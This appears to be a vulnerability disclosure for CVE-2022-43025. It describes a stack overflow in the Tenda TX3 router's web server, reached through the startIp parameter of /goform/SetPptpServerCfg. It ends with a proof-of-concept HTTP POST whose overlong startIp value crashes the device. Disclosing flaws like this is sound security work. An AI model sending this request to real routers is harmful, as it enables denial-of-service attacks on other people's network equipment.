Headline
CVE-2022-43025: myCVE/TX3-1.md at main · tianhui999/myCVE
Tenda TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 was discovered to contain a stack overflow via the startIp parameter at /goform/SetPptpServerCfg.
Affect device: Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01(https://www.tendacn.com/tw/download/detail-4015.html)
Vulnerability Type: Stack overflow
Impact: Denial of Service(DoS)
Vulnerability description
This vulnerability lies in the /goform/SetPptpServerCfg page which influences the lastest version of Tenda-TX3 US_TX3V1.0br_V16.03.13.11_multi_TDE01 (https://www.tendacn.com/tw/download/detail-4015.html)
The vulnerability exists in the file /bin/httpd , function formSetPPTPServer.
User control pointer parameter startIp in web requesting; v24 is a pointer parameter on the stack, and using _isoc99_sscanf to copy v9 to v24 without length limit will cause stack overflow.
POC and repetition
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /goform/SetPptpServerCfg HTTP/1.1 Host: 192.168.23.133 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: password=byn5gk Connection: close Content-Length: 978
endIp=b&startIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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